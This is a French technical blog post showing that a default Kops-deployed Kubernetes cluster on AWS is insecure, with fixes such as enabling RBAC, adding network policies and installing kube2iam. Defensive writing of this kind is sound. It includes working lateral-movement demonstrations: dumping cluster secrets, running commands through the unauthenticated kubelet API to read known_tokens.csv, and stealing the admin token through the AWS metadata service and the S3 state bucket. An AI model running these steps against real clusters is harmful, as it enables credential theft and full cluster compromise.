Pour déployer un cluster Kubernetes sur AWS chez Oxalide nous utilisons principalement Kops. Avec cet outil il est très simple d’obtenir un cluster Kubernetes en quelques minutes et en quelques commandes. Dans cet article nous allons voir que le cluster par défaut obtenu à partir de ces quelques commandes ne fournit pas de garanties suffisantes en terme de sécurité. Je montrerai également comment corriger ces problèmes en paramétrant correctement le déploiement du cluster.

Lorsqu’on parle de sécurité, on utilise souvent le concept de sécurité en profondeur. L’idée est de concevoir un système - informatique ou autre - de telle sorte que la brèche d’un de ses composant ne résulte pas dans la brèche du système dans son ensemble. Dans le cas d’un système d’orchestration de conteneur tel que Kubernetes cela signifie qu’un attaquant aillant accès à un conteneur ne devrait pas ensuite pouvoir accéder aux autres conteneurs et aux machines composant le cluster: la brèche est isolée.

L’exploitation des failles de sécurité du cluster déployé par défaut permettent à un attaquant qui arrive à compromettre un conteneur tournant dans le cluster d’immédiatement obtenir un accès complet à toutes les autres applications s’exécutant dans le cluster, il est donc important de remédier à ces problèmes en configurant correctement son installation Kubernetes.

Installation par défaut avec Kops

On installe un cluster Kops 1.7 avec les paramètres par défaut

$ export KOPS_STATE_STORE=s3://jossctz
$ export AWS_PROFILE=aws-lab
$ kops create cluster --dns-zone=lab-aws.jossctz-test.com \
--name=k8s-kops.lab-aws.jossctz-test.com
$ kops update cluster k8s-kops.lab-aws.jossctz-test.com --yes

Après quelques minutes on a un cluster qui tourne. Kops a configuré notre kubectl pour qu’il puisse se connecter à notre nouveau cluster. On peut confirmer que c’est bien le cas en listant les noeuds du cluster:

$ kubectl get nodes
NAME                            STATUS    AGE       VERSION
ip-172-20-35-9.ec2.internal     Ready     16m       v1.7.10
ip-172-20-42-173.ec2.internal   Ready     10m       v1.7.10
ip-172-20-84-12.ec2.internal    Ready     12m       v1.7.10

Problème 1: RBAC n’est pas activé

Role Based Access Control (RBAC) est un mécanisme d’autorisation d’accès basé sur les roles des individus. Dans Kubernetes, RBAC est utilisé par l’API Server pour déterminer si une requête doit être autorisée ou non: un role avec peu de privilège peut fournir un accès en lecture seule tandis qu’un rôle pour développeur peut autoriser l’édition de déploiements dans un namespace donné et un rôle admin aura accès à toutes les ressources du cluster.

Dans un cluster Kops installé avec les options par défaut, RBAC n’est pas activé: tout le monde a les droits d’admin. Comme par défaut chaque pod possède une identité lui permettant de faire des appels au serveur d’API, cela signifie que par défaut n’importe quel pod se retrouve admin du cluster et peut donc tout faire: lire les secrets, détruire les applications…

Démonstration
# On démarre un pod et on se connecte dessus
$ kubectl run --image=debian mycontainer -- sleep infinity
deployment "mycontainer" created
$ kubectl exec -ti mycontainer-30-dmcvh bash

# Voici notre token d'API
root@mycontainer-30-dmcvh:/# cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsInR5cC…

# On installe kubectl pour parler au serveur d'API Kubernetes
curl -sLO https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl && chmod +x kubectl && mv kubectl /usr/local/bin

# On récupère ensuite les secrets du cluster
root@mycontainer-364691980-dmcvh:/# kubectl get secrets --all-namespaces

NAMESPACE     NAME      TYPE           DATA      AGE
kube-system   attachdetach-controller-token-dsqx2      kubernetes.io/service-account-token   3         6m

kube-system   certificate-controller-token-7cq41       kubernetes.io/service-account-token   3         6m

kube-system   daemon-set-controller-token-75d8d        kubernetes.io/service-account-token   3         6m

...

Comme on peut le voir, un attaquant gagnant accès à un seul pod de notre cluster obtient automatiquement un accès complet à tout le reste du cluster. Il peut détruire des pods pour rendre votre service indisponible, il peut également accéder aux secrets stockés dans le cluster tels que les clés d’API et les certificats.

La solution est de toujours activer RBAC. Il faut donc passer l’option --autorisation=RBAC lors de la création du cluster avec Kops.

Il y a quelques temps des déploiements Helm échouaient lorsque RBAC était activé. Ce n’est plus le cas, vous pouvez donc activer RBAC sans soucis. Une fois RBAC activé, un attaquant n’obtient plus automatiquement des accès admin au cluster:

root@mycontainer-364691980-hdqcm:/# kubectl get pods

Error from server (Forbidden): User “system:serviceaccount:default:default” cannot list pods in the namespace “default”. (get pods)

Problème 2: Le Kubelet n’authentifie pas les requêtes

Avec RBAC d’activé, le serveur d’API Kubernetes vérifie chaque requête avec un ensemble de règles afin de déterminer si l’utilisateur faisant la demande possède suffisamment de permission ou non. Par exemple, un utilisateur avec un accès restreint à un namespace donné ne pourra pas faire d’actions en dehors de ce namespace.

Cela est vrai si vous parlez au serveur d’API. Si vous êtes dans le cluster, vous pouvez à la place parler au kubelet.

kubelet

kubelet is the primary node agent. It watches for pods that have been assigned to its node (either by apiserver or via local configuration file) and […] Runs the pod’s containers via docker […]

Sur un cluster Kubernetes, le kubelet est présent sur chaque noeud (port 10250). Par défaut, le kubelet n’authentifie pas la provenance des requêtes donc parler au kubelet nous ouvre encore une fois un accès total au cluster car nous somme alors capable d’exécuter des commandes sur les autres pods du cluster.

Voici comment récupérer le token admin du cluster depuis n’importe quel pod, contournant totalement RBAC:

# Depuis l'exterieur du cluster, on obtient la liste des noeuds
$ kubectl get no
NAME                          STATUS AGE VERSION
ip-172–20–35–9.ec2.internal   Ready  28m v1.7.10
ip-172–20–42–173.ec2.internal Ready  21m v1.7.10
ip-172–20–84–12.ec2.internal  Ready  23m v1.7.10

# On lance un conteneur et on se connecte dessus
$ kubectl run --image=debian mycontainer -- sleep infinity
$ kubectl exec -ti mycontainer-370-hdqcm bash

# Enumération des pods qui s'executent sur un noeud en parlant au Kubelet
root@mycontainer-370-hdqcm:/# curl -Lk https://172.20.35.9:10250/runningpods | python -m json.tool
{
  "apiVersion": "v1",
  "items": [
    {
    "metadata": {
      "name": "kube-apiserver-ip-172-20-35-9.ec2.internal",
      "namespace": "kube-system",
      "uid": "e68f52a244db8af3c508ae7f3cb6c774"
    },
    "spec": {
      "containers": [{
        "image": "gcr.io/google_containers/kube-apiserver@sha256:965c830a29f8e40aad38607bc211346170116ab986cdbe1e1d638d7139662f7a",
        "name": "kube-apiserver",
      }]
    }
   },...
   ]
}

# Mainteant que l'on a trouvé l'API Server Kubernetes, on utilise le kubelet pour
# exécuter une commande dans ce pod qui nous retourne le token admin.
root@mycontainer-370-hdqcm:/# curl -Lk -X POST https://172.20.35.9:10250/run/kube-system/kube-apiserver-ip-172-20-35-9.ec2.internal/kube-apiserver -d "cmd=cat /srv/kubernetes/known_tokens.csv"
i3zUrFpBKvVKKn7LLf8YZAdmkOdI4olz,system:dns,system:dns
WKEUznkHRNTDjhr1Ji39zoiKgHoavypo,admin,admin
NhNOCTgunx9ozbqeaJCqsNdZAbnDWcom,kube,kube
...

# Utilisation du token pour accèder à l'API Kubernetes
root@mycontainer-370-hdqcm:/# curl -kH "Authorization: Bearer WKEUznkHRNTDjhr1Ji39zoiKgHoavypo"  https://kubernetes/api/

{
  "kind": "APIVersions",
  "versions": ["v1"],
  "serverAddressByClientCIDRs": [{
     "clientCIDR": "0.0.0.0/0",
     "serverAddress": "52.90.235.165"
  }]
}

On est maintenant admin sur le cluster.

La solution à ce problème est d’utiliser une Network Policy pour bloquer le trafic sortant des pods et allant vers le range d’IP des noeuds.

La solution idéale serait que la communication API Server <-> Kubelet soit sécurisée mais ce n’est pas encore possible avec Kops bien que le mécanisme soit déjà présent dans Kubernetes.

Problème 3: L’API Metadata AWS est accessible

Pour finir, une dernière façon d’exploiter la configuration par défaut de Kops est d’utiliser le serveur metadata d’AWS pour obtenir des accès admin sur le cluster en lisant directement les données sauvés dans le bucket qui contient la configuration de Kops.

# On lance un pod avec la cli aws puis on se connecte dessus
$ kubectl run --command=true --image=mesosphere/aws-cli aws-cli -- sleep 999999
$ kubectl exec -ti aws-cli-972556109-md8px sh

# On récupère le nom du bucket qui contient la configuration kops
# Pour cela, on lit les metadata de l'instance sur laquelle tourne le pod:
root@/# curl -s http://169.254.169.254/latest/user-data | grep -A 1 channels
channels:
- s3://jossctz/k8s-kops.lab-aws.jossctz-test.com/addons/bootstrap-channel.yaml

# On peut ensuite lire le contenu du bucket
root@/# aws s3 ls s3://jossctz
    PRE k8s-kops.lab-aws.jossctz-test.com/

# On a donc accès à la configuration complète du cluster
root@/# aws s3 ls s3://jossctz/k8s-kops.lab-aws.jossctz-test.com/
    PRE addons/
    PRE instancegroup/
    PRE pki/
    PRE secrets/
2017-11-17 20:17:44       4399 cluster.spec
2017-11-17 20:17:44       1089 config

# Récupération du token admin depuis le bucket
root@/# aws s3 cp s3://jossctz/k8s-kops.lab-aws.jossctz-test.com/secrets/admin .
download: s3://jossctz/k8s-kops.lab-aws.jossctz-test.com/secrets/admin to ./admin
root@/# cat admin
{"Data":"V0tFVXpua0hSTlREamhyMUppMzl6b2lLZ0hvYXZ5cG8="}
root@/# echo "V0tFVXpua0hSTlREamhyMUppMzl6b2lLZ0hvYXZ5cG8=" | base64 -d
WKEUznkHRNTDjhr1Ji39zoiKgHoavypo

# De nouveau, on est admin sur le cluster
root@/# curl -kH "Authorization: Bearer WKEUznkHRNTDjhr1Ji39zoiKgHoavypo"  https://kubernetes/api/

{
  "kind": "APIVersions",
  "versions": ["v1"],
  "serverAddressByClientCIDRs": [{
     "clientCIDR": "0.0.0.0/0",
     "serverAddress": "52.90.235.165"
  }]
}

On est maintenant admin sur le cluster.

La solution est de systématiquement installer kube2iam ou kiam. Ces outils configurent des règles iptables qui interdisent aux pods de parler au serveur metadata AWS. Les pods n’ont donc plus accès aux ressources AWS sans y être explicitement autorisés. Il est également possible de mettre en place une Network Policy si aucun de vos pods n’a besoin d’un role AWS.

Installation de Kube2IAM avec Helm:

helm install stable/kube2iam --name kube2iam --namespace=kube-system --set host.iptables=true --set rbac.create=true

Une fois Kube2IAM d’installé, les pods n’ont plus accès aux ressources AWS de façon systématique:

# Depuis un pod sans role IAM associé
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
Unable to find role for IP 100.96.3.1

Conclusion

Dans cet article j’espère avoir montré qu’un cluster Kops déployé avec les valeurs par défaut n’apporte pas de garanties de sécurité suffisantes dans le cas d’une brèche applicative et ne devrait donc pas être utilisé en production tel quel. Une connaissance du fonctionnement de Kubernetes ainsi que des environnements cloud est toujours requise afin de comprendre et connaitre les actions nécessaires à la mise en œuvre d’un cluster sûr.

Kops reste toujours un très bon outil pour monter et administrer des clusters Kubernetes. C’est un outil en constante amélioration mais pour l’instant il est nécessaire d’adapter sa configuration pour gagner en sécurité.

La communauté Kubernetes a connaissance de ces problèmes et des travaux sont en cours pour mettre en place de meilleures valeurs par défaut. Vous pouvez suivre ces efforts sur la page de l’issue Github Kubernetes #52184